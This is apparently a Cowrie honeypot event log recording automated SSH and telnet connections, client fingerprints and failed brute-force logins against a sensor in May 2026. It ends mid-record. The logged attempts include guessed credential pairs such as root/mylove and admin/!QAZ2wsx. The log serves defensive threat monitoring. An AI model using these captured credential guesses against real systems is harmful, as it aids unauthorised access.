{"eventid":"cowrie.session.closed","duration":0.01698446273803711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:33.555740Z","src_ip":"213.108.3.46","session":"d6cb9d0515ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54262,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2810d6d968d","protocol":"ssh","message":"New connection: 109.172.54.111:54262 (159.203.135.109:22) [session: c2810d6d968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:08.211464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:08.215581Z","src_ip":"109.172.54.111","session":"c2810d6d968d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:08.315243Z","src_ip":"109.172.54.111","session":"c2810d6d968d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19weed","message":"login attempt [root/19weed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:08.609690Z","src_ip":"109.172.54.111","session":"c2810d6d968d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:09.710821Z","src_ip":"109.172.54.111","session":"c2810d6d968d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:11.901894Z","src_ip":"46.161.50.109","session":"0bcee0ccb3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:24.010115Z","src_ip":"46.161.50.109","session":"62e3c83060a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:36.230186Z","src_ip":"46.161.50.109","session":"59b0b5ca9912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55838,"dst_ip":"159.203.135.109","dst_port":22,"session":"93e30f8cea49","protocol":"ssh","message":"New connection: 37.233.85.71:55838 (159.203.135.109:22) [session: 93e30f8cea49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:44.674073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:44.678714Z","src_ip":"37.233.85.71","session":"93e30f8cea49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:44.779114Z","src_ip":"37.233.85.71","session":"93e30f8cea49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio","message":"login attempt [root/sergio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:45.083580Z","src_ip":"37.233.85.71","session":"93e30f8cea49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:46.200222Z","src_ip":"37.233.85.71","session":"93e30f8cea49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44506,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cf2165e61a5","protocol":"ssh","message":"New connection: 80.94.92.184:44506 (10.17.0.5:22) [session: 9cf2165e61a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:54.477174Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:54.584041Z","src_ip":"80.94.92.184","session":"9cf2165e61a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44070,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b739c55cc06","protocol":"ssh","message":"New connection: 87.251.79.125:44070 (10.17.0.5:22) [session: 8b739c55cc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:55.736821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:55.741457Z","src_ip":"87.251.79.125","session":"8b739c55cc06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:55.812848Z","src_ip":"87.251.79.125","session":"8b739c55cc06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mylove","message":"login attempt [root/mylove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:56.027299Z","src_ip":"87.251.79.125","session":"8b739c55cc06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59156,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6b3aeb96311","protocol":"ssh","message":"New connection: 103.176.20.57:59156 (159.203.135.109:22) [session: d6b3aeb96311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:56.390135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:56.394621Z","src_ip":"103.176.20.57","session":"d6b3aeb96311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:56.665573Z","src_ip":"103.176.20.57","session":"d6b3aeb96311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:57.101362Z","src_ip":"87.251.79.125","session":"8b739c55cc06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty88","message":"login attempt [root/qwerty88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:57.430669Z","src_ip":"103.176.20.57","session":"d6b3aeb96311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:58.687806Z","src_ip":"103.176.20.57","session":"d6b3aeb96311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":46472,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b4a30ec363","protocol":"ssh","message":"New connection: 43.130.29.69:46472 (159.203.135.109:22) [session: 58b4a30ec363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:59.387129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:59.391494Z","src_ip":"43.130.29.69","session":"58b4a30ec363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:59.460529Z","src_ip":"43.130.29.69","session":"58b4a30ec363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"wireguard","message":"login attempt [wireguard/wireguard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:08:59.765970Z","src_ip":"43.130.29.69","session":"58b4a30ec363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:09:00.838282Z","src_ip":"43.130.29.69","session":"58b4a30ec363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aff9d488786","protocol":"telnet","message":"New connection: 152.42.224.71:41166 (10.17.0.5:23) [session: 3aff9d488786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:09:03.080606Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.232.182.147","src_port":57810,"dst_ip":"10.17.0.5","dst_port":23,"session":"4feb5a7ec667","protocol":"telnet","message":"New connection: 187.232.182.147:57810 (10.17.0.5:23) [session: 4feb5a7ec667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:09:07.871996Z"}
{"eventid":"cowrie.session.closed","duration":13.702201128005981,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:09:21.574086Z","src_ip":"187.232.182.147","session":"4feb5a7ec667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.73604416847229,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:09:25.816538Z","src_ip":"152.42.224.71","session":"3aff9d488786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":39298,"dst_ip":"159.203.135.109","dst_port":22,"session":"3223b4912e56","protocol":"ssh","message":"New connection: 43.130.29.69:39298 (159.203.135.109:22) [session: 3223b4912e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:10.272807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:10.282802Z","src_ip":"43.130.29.69","session":"3223b4912e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:10.361649Z","src_ip":"43.130.29.69","session":"3223b4912e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:10.678562Z","src_ip":"43.130.29.69","session":"3223b4912e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":37296,"dst_ip":"10.17.0.5","dst_port":22,"session":"196e57d833c6","protocol":"ssh","message":"New connection: 89.108.118.91:37296 (10.17.0.5:22) [session: 196e57d833c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:11.167888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:11.173922Z","src_ip":"89.108.118.91","session":"196e57d833c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:11.314451Z","src_ip":"89.108.118.91","session":"196e57d833c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245768","message":"login attempt [root/13245768] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:11.730062Z","src_ip":"89.108.118.91","session":"196e57d833c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:11.753825Z","src_ip":"43.130.29.69","session":"3223b4912e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:12.875555Z","src_ip":"89.108.118.91","session":"196e57d833c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":47420,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba7215deee9","protocol":"ssh","message":"New connection: 103.27.238.120:47420 (159.203.135.109:22) [session: 3ba7215deee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:13.853677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:10:13.861965Z","src_ip":"103.27.238.120","session":"3ba7215deee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sh